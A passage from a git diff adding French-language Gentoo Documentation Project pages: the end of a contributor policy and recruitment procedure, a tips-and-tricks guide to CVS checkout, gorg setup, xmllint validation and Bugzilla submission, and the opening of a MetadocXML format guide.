+  <li>induire des utilisateurs ou des développeurs en erreur sciemment,</li>
+  <li>rédiger délibérément de la documentation erronée,</li>
+  <li>introduire volontairement des erreurs dans les documents,</li>
+  <li>
+    outrepasser à dessein les règles d'usage ou les décisions collégiales
+    prises lors de discussions sur nos listes de diffusion,
+  </li>
+  <li>
+    rester inactif pendant une longue période sans en avoir informé les
+    responsables et sans donner de réponse aux demandes du responsable
+    opérationnel,
+  </li>
+</ul>
+
+<p>
+seront signalés aux responsables du projet <uri link="/proj/en/devrel/">Gentoo
+Developer Relations</uri>.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Recrutement de documentalistes</title>
+<section>
+<title>Contributeurs, auteurs, traducteurs</title>
+<body>
+
+<p>
+Toute personne qui souhaite contribuer à la documentation, corriger des
+documents existants, en rédiger de nouveaux ou en traduire est encouragée à
+nous envoyer ses contributions. Qu'elle s'abonne simplement à la liste de
+diffusion <c>gentoo-doc@gentoo.org</c> après avoir lu et compris ce document.
+</p>
+
+</body>
+</section>
+<section>
+<title>Procédure de recrutement</title>
+<body>
+
+<p>
+Le projet de documentation suit un processus de recrutement strict dont vous
+pourrez découvrir les détails plus loin. Le processus ne doit être modifié en
+aucune circonstance. Nous avons choisi ce mode de recrutement pour nous assurer
+que les recrues sont bien informées de la politique de documentation Gentoo et
+du style d'écriture appliqué aux documents Gentoo. C'est un processus qui a su
+montrer ses preuves même si de nombreux contributeurs le voient comme un trop
+grand fossé à franchir.
+</p>
+
+<p>
+Ce processus de recrutement n'a pour objectif que les demandes faites au dépôt
+de la documentation Gentoo via CVS. Être listé comme mainteneur ou point de
+contact pour un ou plusieurs documents est attribué par simple requête au chef
+de projet ou au manager opérationnel.
+</p>
+
+</body>
+</section>
+<section>
+<title>Étape 1 : Contributions</title>
+<body>
+
+<p>
+Aucun processus de recrutement ne commence sans investigations sur les
+contributions déjà réalisées pour le projet de documentation Gentoo. Le nombre
+de contributions doit être suffisamment important pour pouvoir assurer une
+bonne connaissance de GuideXML, du style de code et des politiques en vigueur.
+La période de contribution doit être étendue pour indiquer le temps passé par
+le contributeur et montrer la quantité de travail que cela implique.
+</p>
+
+<p>
+Le nombre de contributions et la période de contribution dépendent de
+l'engagement que souhaite solliciter le contributeur. Même s'il est difficile
+de quantifier cela, la table suivante devrait vous donner un aperçu de la
+chose. La décision finale n'appartient cependant qu'au manager opérationnel.
+</p>
+
+<table>
+<tr>
+  <th>Position</th>
+  <th>Activité minimale</th>
+  <th>Période minimale</th>
+</tr>
+<tr>
+  <ti>Développeur à temps plein</ti>
+  <ti>2 mises à jour par semaine</ti>
+  <ti>1 mois</ti>
+</tr>
+<tr>
+  <ti>Développeur à temps partiel</ti>
+  <ti>4 mises à jour par mois</ti>
+  <ti>1 mois</ti>
+</tr>
+</table>
+
+<p>
+Une mise à jour consiste en la modification non triviale d'une quelconque
+documentation, traduction ou quoi que ce soir d'autre, entièrement écrite par
+le contributeur et soumis après vérification par un développeur documentaliste.
+La période est fixe&nbsp;: augmenter les contributions ne diminue pas la
+période. De même, nous ne faisons pas une moyenne sur les contributions dans
+le temps pour nous assurer que le contributeur ne donne pas un coup de pédale
+dans le processus puis qu'il attende sagement que cette phase se finisse.
+</p>
+
+<p>
+Si cette phase n'est pas réalisée, nous ne pouvons pas savoir si le
+contributeur comprend réellement l'investissement nécessaire pour être un
+développeur documentaliste. La validation de son activité se fait à travers les
+rapports de bogue sur le bugzilla.
+</p>
+
+<p>
+Toute demande d'accès CVS qui n'entraîne pas d'activité liée au développement
+comme indiqué dans la table ci-dessus ne sera pas prise en considération.
+</p>
+
+<p>
+Si vous sentez que vous avez réalisé un nombre suffisant de contributions,
+contactez le manager opérationnel du projet de documentation Gentoo. Il vous
+demandera vos coordonnées et toutes les informations nécessaires puis
+s'occupera de vous faire passer à l'étape suivante.
+</p>
+
+</body>
+</section>
+<section>
+<title>Étape 2 : Début de la procédure de recrutement</title>
+<body>
+
+<p>
+Lors de cette période qui devrait être proche de celle indiquée dans le tableau
+précédent, les correctifs de la recrue ne seront plus édités par aucun
+développeur du projet de documentation, mais seront soit soumis tels quels,
+soit refusés. La recrue se verra également assigner un mentor développeur
+documentaliste à temps plein qui le guidera lors des dernières étapes.
+</p>
+
+<p>
+La qualité des contributions sont ici le point important de l'étape. Tous les
+correctifs qui ne suivent pas les règles de documentation, de style de code ou
+tout autre guide affectant le document seront refusés.
+</p>
+
+<p>
+Lors de cette période&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Nous vous conseillons d'apprendre les tâches internes à Gentoo. C'est un
+    apprentissage nécessaire dans la mesure où vous devrez par la suite
+    répondre au <uri link="/proj/en/devrel/quiz/staff-quiz.txt">Quizz du
+    Personnel</uri>.
+  </li>
+  <li>
+    Nous vous demanderons de remplir le <uri
+    link="/proj/en/gdp/doc/doc-quiz.xml">Quizz du projet de documentation
+    Gentoo</uri>. Vous devrez passer avec succès l'intégralité de ce test
+    (répondre à toutes les questions) avant de pouvoir passer à l'étape
+    suivante.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Étape 3 : Recrutement Gentoo</title>
+<body>
+
+<p>
+Une fois l'étape 2 finie, le manager opérationnel contactera les <uri
+link="/proj/en/devrel">Relations entre Développeurs Gentoo</uri> et leur
+donnera le signal final de début du processus de recrutement Gentoo après
+lequel vous pourrez disposer d'une adresse e-mail Gentoo et serez assigné à un
+ou plusieurs sous-projets.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/gdp/doc/doc-tipsntricks.xml b/xml/htdocs/proj/fr/gdp/doc/doc-tipsntricks.xml
new file mode 100644
index 00000000..ae6e01f5
--- /dev/null
+++ b/xml/htdocs/proj/fr/gdp/doc/doc-tipsntricks.xml
@@ -0,0 +1,408 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/fr/gdp/doc/doc-tipsntricks.xml,v 1.19 2007/03/12 22:46:57 cam Exp $ -->
+
+<guide link="/proj/fr/gdp/doc/doc-tipsntricks.xml" lang="fr">
+<title>Trucs et astuces pour le développement de la documentation</title>
+
+<author title="Correcteur">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="Auteur">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Traducteur">
+  <mail link="ribosome@gentoo.org">Olivier Fisette</mail>
+</author>
+<author title="Traducteur">
+  <mail link="cam@gentoo.org">Camille Huot</mail>
+</author>
+<author title="Traducteur">
+  <mail link="titefleur@assici.net">Marion Agé</mail>
+</author>
+
+<abstract>
+Quelques trucs et astuces qui faciliteront le travail des auteurs de
+documentation Gentoo.
+</abstract>
+
+<license/>
+
+<version>2</version>
+<date>2007-03-08</date>
+
+<chapter>
+<title>Vérification des fichiers du site web</title>
+<section>
+<title>Utilisation du CVS anonyme</title>
+<body>
+
+<p>
+Les contributeurs devront utiliser notre <uri
+link="http://anoncvs.gentoo.org/">serveur CVS anonyme</uri>. Il contient les
+mêmes fichiers que le serveur officiel de Gentoo que les développeurs
+utilisent. Le dépôt CVS anonyme est mis à jour toutes les heures.
+</p>
+
+<p>
+Créez un répertoire dédié au développement de la documentation, puis récupérez
+les fichiers du serveur.
+</p>
+
+<pre caption="Récupération des fichiers du serveur">
+$ <i>cvs -d :pserver:anonymous@anoncvs.gentoo.org/var/cvsroot co gentoo/xml</i>
+</pre>
+
+<p>
+Pour mettre à jour votre copie du dépôt CVS, exécutez <c>cvs update -dP</c>
+dans le répertoire <path>gentoo/xml</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dépôt pour les développeurs Gentoo</title>
+<body>
+
+<p>
+Si vous n'avez pas encore récupéré le module <c>gentoo</c>, faites-le
+ainsi&nbsp;:
+</p>
+
+<pre caption="Récupération du module gentoo">
+$ <i>export CVSROOT=</i><comment>&lt;votre pseudo&gt;</comment><i>@cvs.gentoo.org:/var/cvsroot</i>
+$ <i>cvs co gentoo/xml</i>
+</pre>
+
+<p>
+Pour mettre à jour votre copie du dépôt CVS, exécutez <c>cvs update -dP</c>
+dans le répertoire <path>gentoo/xml</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dépôt CVS en ligne</title>
+<body>
+
+<p>
+Vous pouvez utiliser notre <uri link="http://sources.gentoo.org/">dépôt CVS en
+ligne</uri> pour déterminer les différences entre des versions d'un même
+document. Le dépôt principal pour les documents en anglais est <uri
+link="http://sources.gentoo.org/gentoo/xml/htdocs/doc/en/">intégralement
+disponible</uri>. Notez que le dépôt CVS en ligne est mis à jour toutes les
+heures.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Paramétrage de votre environnement local</title>
+<section>
+<title>Installation de gorg</title>
+<body>
+
+<p>
+Notre GuideXML est transformée en HTML par le paquet <uri
+link="http://gentoo.neysx.org/mystuff/gorg/gorg.xml">www-servers/gorg</uri>.
+Vous avez besoin de l'installer. 
+</p>
+
+<note>
+Vous avez besoin au minimum de la version <c>gorg-0.6.3</c>. Vous devrez
+l'ajouter dans votre fichier <path>/etc/portage/package.keywords</path> pour
+votre architecture.
+</note>
+
+<p>
+Suivez les instructions de <uri
+link="http://gentoo.neysx.org/mystuff/gorg/gorg.xml">la page de gorg</uri> pour
+le configurer. Vous devez définir le répertoire web racine où vous avez
+récupéré notre dépôt CVS (<path>.../gentoo/xml/htdocs</path>). Les autres
+paramètres ne sont utiles que si vous voulez fournir une copie locale de <uri
+link="http://www.gentoo.org">www.gentoo.org</uri>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Paramétrage de votre environnement XML</title>
+<body>
+
+<p>
+Votre système a besoin de savoir où trouver l'emplacement des DTD que notre
+documentation utilise. Éditez le fichier <path>/etc/xml/catalog</path> en tant
+que super utilisateur et ajoutez la ligne suivante&nbsp;:
+</p>
+
+<pre caption="Addenda à /etc/xml/catalog">
+&lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+<note>
+Vous pouvez également réécrire vers le chemin où les DTD ont été récupérées du
+CVS.
+</note>
+
+<p>
+Si votre fichier <path>/etc/xml/catalog</path> est vide ou ne contient aucune
+entrée, vous devez <e>insérer</e> l'élément <c>&lt;rewriteURI&gt;</c> à
+l'intérieur de l'élément <c>&lt;catalog&gt;</c>&nbsp;:
+</p>
+
+<pre caption="Exemple de /etc/xml/catalog">
+&lt;?xml version="1.0"?&gt;
+&lt;!DOCTYPE catalog PUBLIC "-//OASIS//DTD Entity Resolution XML Catalog V1.0//EN" "http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd"&gt;
+&lt;catalog xmlns="urn:oasis:names:tc:entity:xmlns:xml:catalog"&gt;
+  &lt;rewriteURI uriStartString="/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+&lt;/catalog&gt;
+</pre>
+
+<p>
+De plus, certains fichiers utilisent parfois une URL vers la DTD du site
+Gentoo, par exemple <path>http://www.gentoo.org/dtd/guide.dtd</path>. Vous
+pouvez aussi récrire de telles URL vers des fichiers locaux pour éviter les
+accès au net qui sont évidemment plus lents au moment de la validation&nbsp;:
+</p>
+
+<pre caption="Ajouter une redirection à /etc/xml/catalog">
+&lt;rewriteURI uriStartString="http://www.gentoo.org/dtd/" rewritePrefix="<i>/usr/portage/metadata/dtd/</i>"/&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Test d'un guide Gentoo</title>
+<body>
+
+<p>
+Pour tester un guide Gentoo, utilisez <c>xmllint</c> (qui se trouve dans
+<c>dev-libs/libxml2</c>) pour vérifier si sa syntaxe XML est valide&nbsp;:
+</p>
+
+<pre caption="Utiliser xmllint pour vérifier GuideXML">
+$ <i>xmllint --valid --noout alsa-guide.xml</i>
+</pre>
+
+<p>
+Si <c>xmllint</c> se termine sans afficher quoi que ce soit, cela indique que
+la structure du fichier est valide. La prochaine étape est la conversion du
+fichier en HTML&nbsp;:
+</p>
+
+<pre caption="Conversion en HTML">
+$ <i>gorg &lt; alsa-guide.xml > alsa-guide.html</i>
+</pre>
+
+<p>
+Si aucune erreur n'est affichée, vous devriez pouvoir pointer votre navigateur
+vers <path>alsa-guide.html</path> pour consulter le document résultant de la
+conversion. Dans tous les autres cas, vous devrez corriger votre guide jusqu'à
+ce qu'il fonctionne convenablement.
+</p>
+
+<note>
+Dans les chapitres du Manuel Gentoo, les liens vers les autres chapitres ne
+seront pas générés parce que les versions en ligne accèdent à des chapitres du
+Manuel par l'intermédiaire du fichier principal et des paramètres <c>chap</c>
+et <c>part</c>.
+</note>
+
+</body>
+</section>
+<section>
+<title>Parcours de votre copie locale du site web de Gentoo</title>
+<body>
+
+<p>
+Puisque vous avez récupéré une copie du site web de Gentoo de notre CVS, vous
+pouvez également utiliser gorg pour parcourir votre copie locale. Assurez-vous
+d'avoir téléchargé les nouveaux index comme expliqué sur <uri
+link="http://gentoo.neysx.org/mystuff/gorg/gorg.xml">la page de gorg</uri> si
+vous voulez avoir la même page d'accueil.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Foire Aux Questions</title>       
+<section>        
+<title>Comment puis-je convertir un fichier en UTF-8&nbsp;?</title>      
+<body>   
+         
+<p>      
+De nombreux outils sont disponibles pour cette tâche. Les plus populaires sont
+<c>app-text/recode</c> ou <c>iconv</c> qui fait partie de
+<c>sys-libs/glibc</c>.   
+</p>     
+         
+<p>      
+Recode est vraiment facile d'utilisation. Vous n'avez qu'à lui dire quel codage
+de caractère est actuellement utilisé par le document et en quel codage vous
+voulez obtenir le résultat.       
+</p>     
+         
+<p>      
+Par exemple, pour convertir un document codé en ISO-8859-15 (aussi connu sous le          
+nom «&nbsp;Latin-9&nbsp;») en UTF-8, vous pouvez faire&nbsp;:      
+</p>     
+         
+<pre caption="Réencoder un fichier">      
+<comment>(l9 = ISO-8859-15, u8 = UTF-8)</comment>        
+$ <i>recode l9..u8 fichier.xml</i>       
+</pre>   
+         
+</body>          
+</section>       
+</chapter>       
+         
+<chapter>        
+<title>Astuces lors de la soumission d'un document</title>       
+<section>        
+<title>Vérification de l'élément &lt;guide&gt;</title>      
+<body>   
+         
+<p>      
+Faites bien attention à ce que l'attribut <c>link=""</c> de l'élément       
+<c>&lt;guide&gt;</c> indique le bon chemin du document. Si votre guide est basé   
+sur les DTD <c>guide</c> ou <c>book</c>, vous pouvez indiquer soit son chemin    
+absolu (exemple&nbsp;: <path>/doc/${LANG}/fichier.xml</path>, recommandé par le   
+GDP, obligatoire pour les traductions), soit son chemin relatif (exemple&nbsp;:          
+<path>chemin.xml</path>).        
+</p>     
+         
+</body>          
+</section>       
+<section>        
+<title>Vérification des liens</title>     
+<body>   
+         
+<p>      
+Vous <e>devez</e> vérifier que tous les liens hypertextes de votre document       
+fonctionnent correctement. Pour une traduction, faites pointer les liens vers la         
+version traduite des documents si elle existe (vers l'originale sinon) et        
+assurez-vous que cette version traduite existe bien&nbsp;!       
+</p>     
+         
+</body>          
+</section>       
+         
+<section>        
+<title>Vérification des tabulations</title>       
+<body>   
+         
+<p>      
+Les tabulations sont complètement interdites dans les documents GuideXML, sauf    
+cas particulier (par exemple si le document indique à l'utilisateur de taper une          
+tabulation). Pour chercher les tabulations dans un document, tapez&nbsp;:        
+<c>grep "&lt;Ctrl-V&gt;&lt;TAB&gt;" fichier.xml</c>. Corrigez toutes les lignes          
+que grep renvoie.        
+</p>     
+         
+</body>          
+</section>       
+<section>        
+<title>Bugzilla</title>          
+<body>   
+         
+<p>      
+Lorsque votre document est terminé, il faut le soumettre à validation par          
+l'équipe de documentation GDP sur le <uri         
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Documentation">Bugzilla</uri>.        
+Les informations demandées systématiquement par Bugzilla, telles que votre         
+plate-forme, le résultat du <c>emerge info</c>, les étapes pour reproduire le      
+problème, etc. n'ont aucun intérêt ici. Si vous soumettez une traduction,   
+choisissez plutôt le composant <uri       
+link="http://bugs.gentoo.org/enter_bug.cgi?product=Doc%20Translations">Doc       
+Translations</uri> pour votre bogue.     
+</p>     
+         
+<p>      
+Pour le titre du bogue, vous pouvez utiliser ce format simple&nbsp;: «&nbsp;[fr]          
+New translation: /doc/fr/gnupg-user.xml&nbsp;» en remplaçant «&nbsp;fr&nbsp;»        
+par le code à deux lettres de la langue concernée, «&nbsp;translation&nbsp;» par     
+«&nbsp;document&nbsp;» si ce n'est pas une traduction et le nom du fichier.        
+</p>     
+         
+<p>      
+Écrivez tout en anglais.          
+</p>     
+         
+<p>      
+Par défaut, le bogue sera assigné à <mail>docs-team@gentoo.org</mail>. Ce n'est     
+pas la peine de modifier cette valeur.   
+</p>     
+         
+<p>      
+Ajoutez vos fichiers au bogue en choisissant le type «&nbsp;plain text    
+(text/plain)&nbsp;», même si c'est un fichier XML. Cochez la case          
+«&nbsp;Patch&nbsp;» lorsque c'est un correctif. Ne mettez jamais une archive tar   
+ou zip contenant tous les fichiers mais ajoutez chaque fichier individuellement          
+en spécifiant juste leur nom dans la case description.    
+</p>     
+         
+</body>          
+</section>       
+</chapter>       
+<chapter>
+<title>Erreurs fréquentes et dangereuses</title>
+<section>
+<title>Oubli de l'aspect multi-architecture du manuel Gentoo</title>
+<body>
+
+<p>
+Les fichiers contenus dans <path>[gentoo]/xml/htdocs/doc/en/handbook</path> qui
+ne se terminent pas par un suffixe en &quot;-&lt;arch&gt;.xml&quot; sont lus par
+<e>toutes</e> les versions du manuel, c'est-à-dire que tout ce qui est contenu
+dans ces fichiers concerne toutes les architectures.
+</p>
+
+<p>
+Si vous devez faire des modifications qui concernent votre architecture et si
+vous avez peur de devoir les placer dans un tel fichier, vous pourriez d'abord
+demander sur <c>gentoo-doc@gentoo.org</c> comment résoudre ce problème. Parfois,
+il peut exister une solution qui ne compliquera pas la vie des utilisateurs des
+autres architectures.
+</p>
+
+</body>
+</section>
+<section>
+<title>Oubli de la mise à jour de la version et de la date</title>
+<body>
+
+<p>
+Conformément aux consignes, vous <e>devez</e> incrémenter la version et mettre à
+jour la date des documents lorsque vous faites certaines modifications (en fait,
+pratiquement toutes). Bien que la version soit moins importante (SwifT vous
+tuera quand même si vous l'oubliez), la date indique à nos utilisateurs quand
+le document a été mis à jour pour la dernière fois.
+</p>
+
+<p>
+Si vous modifiez le <e>contenu</e> d'un document, vous devez alors incrémenter
+sa version. Les modifications qui n'altèrent pas le contenu (fautes de frappe,
+ménage dans le XML...) n'ont pas à provoquer un changement de version.
+</p>
+
+<p>
+Lorsque vous mettez à jour le Manuel, ne mettez à jour que les dates et versions
+des fichiers que vous modifiez. Ne mettez pas à jour les fichiers
+handbook-<e>ARCH</e>.xml à moins que vous n'ayez modifié son contenu.
+</p>
+
+<p>
+Une autre erreur fréquente est d'augmenter le numéro de version comme si c'était
+un nombre décimal. Ce n'est pas le cas. En cas de mise à jour, vous devez
+remplacer <c>3.9</c> par <c>3.10</c> et non pas par <c>4.0</c> ni par
+<c>3.91</c>.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/fr/gdp/doc/metadoc-guide.xml b/xml/htdocs/proj/fr/gdp/doc/metadoc-guide.xml
new file mode 100644
index 00000000..728b4e07
--- /dev/null
+++ b/xml/htdocs/proj/fr/gdp/doc/metadoc-guide.xml
@@ -0,0 +1,512 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="metadoc-guide.xml" lang="fr">
+<title>Guide du format XML Metadoc pour Gentoo</title>
+
+<author title="Auteur">
+  <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Correcteur">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="Traducteur">
+  <mail link="clement@varaldi.org">Clément Varaldi</mail>
+</author>
+
+<abstract>
+Ce guide a pour objectif d'indiquer aux développeurs comment utiliser le format
+XML Metadoc qui permet au projet de documentation Gentoo de garder une structure
+hiérarchique dans la documentation et stocker plus d'informations à propos de
+chaque document.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+<license/>
+
+<version>1.2</version>
+<date>2005-04-04</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Pourquoi MetadocXML est-il nécessaire ?</title>
+<body>
+
+<p>
+MetadocXML n'est pas nécessaire, c'est une ressource supplémentaire pour que le
+projet de documentation Gentoo puisse avoir une traçabilité des documents, même
+s'ils sont situés en dehors de l'arborescence habituelle
+<path>[gentoo]/xml/htdocs/doc</path>.
+</p>
+
+<p>
+Grâce à MetadocXML, nous pouvons désormais&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Suivre les documents qui sont situés dans l'espace web dédié aux projets
+    (<path>/proj</path>) au lieu du dépôt habituel consacré à la documentation
+    (<path>/doc</path>)&nbsp;;
+  </li>
+  <li>
+    Ranger la documentation dans diverses catégories (ou sous-catégories) avec
+    l'avantage supplémentaire qui est que nous pouvons automatiquement générer
+    une table des matières pour la documentation (entre autres)&nbsp;;
+  </li>
+  <li>
+    Suivre les membres non officiels des membres d'équipes de documentation
+    (comme par exemple les traducteurs)&nbsp;;
+  </li>
+  <li>
+    Utiliser des parties de gros documents (les manuels d'installation par
+    exemple) comme étant des guides individuels pour certains sujets bien
+    précis&nbsp;;
+  </li>
+  <li>
+    Assigner des bogues sur des documents particuliers pour avoir un
+    référencement rapide et avec la possibilité de masquer un document dans le
+    cas où le bogue rencontré est critique&nbsp;;
+  </li>
+  <li>
+    Vérifier simplement si un fichier traduit est synchronisé avec son
+    équivalent anglais ou non.
+  </li>
+</ul>
+
+<p>
+Remarquez que le dernier avantage est primitif et ne sera probablement pas
+préservé. Il existe des outils puissants (comme le script
+<uri link="http://dev.gentoo.org/~neysx/trads/trads-doc.html">trads-doc</uri> de
+Xavier Neys) qui proposent bien plus de fonctionnalités que MetadocXML n'en
+propose actuellement.
+</p>
+
+<p>
+Les équipes de traductions qui n'utilisent pas encore MetadocXML n'ont pas à
+s'inquiéter. Ils ne perdent aucune fonctionnalité disponibles actuellement dans
+la mesure où MetadocXML n'est qu'une sur-couche mise par dessus l'infrastructure
+actuelle. Aucun changement n'est à faire sur le format GuideXML pour avoir le
+support de MetadocXML.
+</p>
+
+</body>
+</section>
+<section>
+<title>Comment fonctionne MetadocXML ?</title>
+<body>
+
+<p>
+Un fichier central contient l'ensemble des informations additionnelles sur la
+documentation qu'il maintient. Nous appelons ce fichier
+<path>metadoc.xml</path>. Il doit être situé dans votre dépôt principal
+(<path>/doc/${LANGUE}</path>), même si ce n'est pas une nécessité absolue.
+</p>
+
+<p>
+Dans ce fichier seront stockées toutes les informations additionnelles&nbsp;:
+</p>
+
+<ul>
+  <li>Membres de l'équipe&nbsp;;</li>
+  <li>Catégories auxquelles les documents appartiennent&nbsp;;</li>
+  <li>Fichiers concernés&nbsp;;</li>
+  <li>Documents concernés&nbsp;;</li>
+  <li>Bogues concernant un des documents.</li>
+</ul>
+
+<p>
+En plus du fichier <path>metadoc.xml</path>, vous pouvez également avoir un
+fichier de table des matières généré dynamiquement (appelé en général
+<path>index.xml</path>), un fichier donnant un aperçu de l'ensemble des
+documents (appelé en général <path>list.xml</path>) et un fichier listant
+l'ensemble des membres, des fichiers et des bogues (appelé en général
+<path>overview.xml</path>).
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Le fichier metadoc.xml</title>
+<section>
+<title>La structure XML</title>
+<body>
+
+<p>
+Le fichier <path>metadoc.xml</path> commence par le code habituel 
+d'initialisation d'un fichier XML et les informations d'en-tête CVS de
+Gentoo&nbsp;:
+</p>
+
+<pre caption="Initialisation du XML">
+&lt;?xml version='1.0' encoding="UTF-8"?&gt;
+&lt;!-- &#36;Header&#36; --&gt;
+&lt;!DOCTYPE metadoc SYSTEM "/dtd/metadoc.dtd"&gt;
+</pre>
+
+<p>
+Ensuite commence la déclaration MetadocXML.
+</p>
+
+<pre caption="Déclaration MetadocXML anglaise">
+&lt;metadoc lang="<comment>en</comment>"&gt;
+</pre>
+
+<p>
+Les traducteurs doivent référencer le fichier principal
+<path>/doc/en/metadoc.xml</path> dans l'attribut <c>parent</c>. Cela permet à
+metadoc d'identifier les fichiers non traduits et de voir si les versions
+de l'original et de la version traduite correspondent toujours.
+</p>
+
+<pre caption="Déclaration MetadocXML pour une traduction française">
+&lt;metadoc lang="<comment>fr</comment>" parent="/doc/en/metadoc.xml"&gt;
+</pre>
+
+<p>
+À l'intérieur de l'entité <c>metadoc</c> vous devez déclarer dans l'ordre les
+entités suivantes&nbsp;:
+</p>
+
+<ul>
+  <li>
+    <c>version</c> qui permet de suivre l'évolution du fichier&nbsp;;
+  </li>
+  <li>
+    <c>members</c> qui déclare tous les membres de l'équipe d'une langue
+    donnée&nbsp;;
+  </li>
+  <li>
+    <c>categories</c> qui déclare les catégories pouvant être utilisées&nbsp;;
+  </li>
+  <li>
+    <c>files</c> qui contient la liste des fichiers couverts par le fichier
+    Metadoc&nbsp;;
+  </li>
+  <li>
+    <c>docs</c> qui contient la liste des documents couverts par le fichier
+    Metadoc&nbsp;;
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>L'entité « version »</title>
+<body>
+
+<p>
+Le numéro de version est incrémenté quand un document ou un fichier est ajouté,
+quand un chemin change ou lors de tout changement qui peut avoir un impact pour
+les traducteurs. Ces derniers peuvent comparer les numéros de version de
+l'original avec leur traduction pour détecter des changements à appliquer.
+</p>
+
+</body>
+</section>
+<section>
+<title>L'entité « members »</title>
+<body>
+
+<p>
+Dans l'entité «&nbsp;members&nbsp;» vous devez déclarer deux 'types' de membres
+qui sont&nbsp;: <c>lead</c> (chef d'équipe) et <c>member</c> (membre). Un membre
+de type <c>lead</c> doit être connu de l'équipe des Relations des Développeurs
+Gentoo (GDR) dans la mesure où il ne contient que l'information du pseudo du
+développeur en charge et que celui-ci est vérifié dans la liste des membres de
+Gentoo. Un membre (type <c>member</c>) peut soit être un développeur Gentoo
+auquel cas on ne donnera que son pseudo, ou un contributeur.
+</p>
+
+<p>
+Dans le cas d'un contributeur, on donne à l'élément <c>member</c> deux
+attributs&nbsp;: <c>mail</c> (pour son adresse électronique) et <c>fullname</c>
+(pour savoir qui il est).
+</p>
+
+<pre caption="Exemple d'utilisation de l'entité « members »">
+&lt;members&gt;
+  &lt;lead&gt;swift&lt;/lead&gt;
+  &lt;lead&gt;neysx&lt;/lead&gt;
+  &lt;member&gt;dertobi123&lt;/member&gt;
+  &lt;member mail="contributeur_gentoo@gmail.com" fullname="Daniel Dupont"&gt;dupontd&lt;/member&gt;
+&lt;/members&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>L'entité « Categories »</title>
+<body>
+
+<p>
+Vous devez déclarer dans l'entité <c>categories</c> des entités <c>cat</c>.
+Chacune d'entre elle couvre une catégorie. Le paramètre obligatoire <c>id</c>
+est utilisé pour référencer la catégorie. Vous pouvez également définir un
+paramètre <c>parent</c> auquel cas la catégorie sera une sous-catégorie d'une
+autre catégorie.
+</p>
+
+<p>
+Dans ce cas, l'attribut <c>parent</c> fait référence à l'attribut <c>id</c> de
+la catégorie parente.
+</p>
+
+<pre caption="Exemple d'utilisation de l'entité « categories »">
+&lt;categories&gt;
+  &lt;cat id="faq"&gt;Foires Aux Questions&lt;/cat&gt;
+  &lt;cat id="install"&gt;Ressources Liées à l'Installation&lt;/cat&gt;
+  &lt;cat id="install_guides"&gt;Guides d'Installation&lt;/cat&gt;
+&lt;/categories&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>L'entité « Files »</title>
+<body>
+
+<p>
+L'entité <c>files</c> ne contient que des entités <c>file</c>.
+</p>
+
+<p>
+Chaque entité <c>file</c> référence un seul fichier XML. Elle dispose d'un
+attribut obligatoire <c>id</c> qui doit être vu comme étant la clef primaire
+pour chercher le fichier. Metadoc comparera le nom du fichier avec l'attribut
+<c>id</c> dans le fichier parent de metadoc (défini dans l'élément racine) pour
+vérifier si le fichier est traduit ou non. Les noms de fichier doivent être
+strictement identiques.
+</p>
+
+<p>
+Le fichier <path>metadoc.xml</path> lui-même peut être repris dans la liste. Il
+est alors affiché en tête de la liste des fichiers (cf. plus bas).
+</p>
+
+<pre caption="Exemple d'entité « files »">
+&lt;files&gt;
+  &lt;file id="ati-faq"&gt;/doc/fr/ati-faq.xml&lt;/file&gt;
+  &lt;file id="metadoc"&gt;/doc/fr/metadoc.xml&lt;/file&gt;
+&lt;/files&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>L'entité « Docs »</title>
+<body>
+
+<p>
+L'entité <c>docs</c> ne doit contenir que des entités <c>doc</c>.
+</p>
+
+<p>
+Chaque entité <c>doc</c> dispose d'un attribut obligatoire <c>id</c> qui doit
+être vu comme étant la clef primaire pour le document.
+</p>
+
+<p>
+Dans chaque entité <c>doc</c> vous devez disposer d'au moins une entité&nbsp;:
+l'entité <c>fileid</c> qui fait référence à l'attribut <c>id</c> d'une entité
+<c>file</c> correspondante pour le fichier principal de ce document.
+</p>
+
+<p>
+Dans le cas d'un chapitre de manuel d'installation, vous devez faire référence
+à la page principale du manuel (le fichier XML principal du manuel). L'entité
+<c>fileid</c> contiendra alors deux paramètres supplémentaires nommés
+<c>vpart</c> et <c>vchap</c> qui font référence à la partie et au chapitre
+correspondant de ce document dans le manuel.
+</p>
+
+<p>
+Dans l'entité <c>doc</c> deux autres entités sont disponibles&nbsp;:
+</p>
+
+<ul>
+  <li>
+    Une ou plusieurs entités <c>memberof</c> faisant référence aux catégories
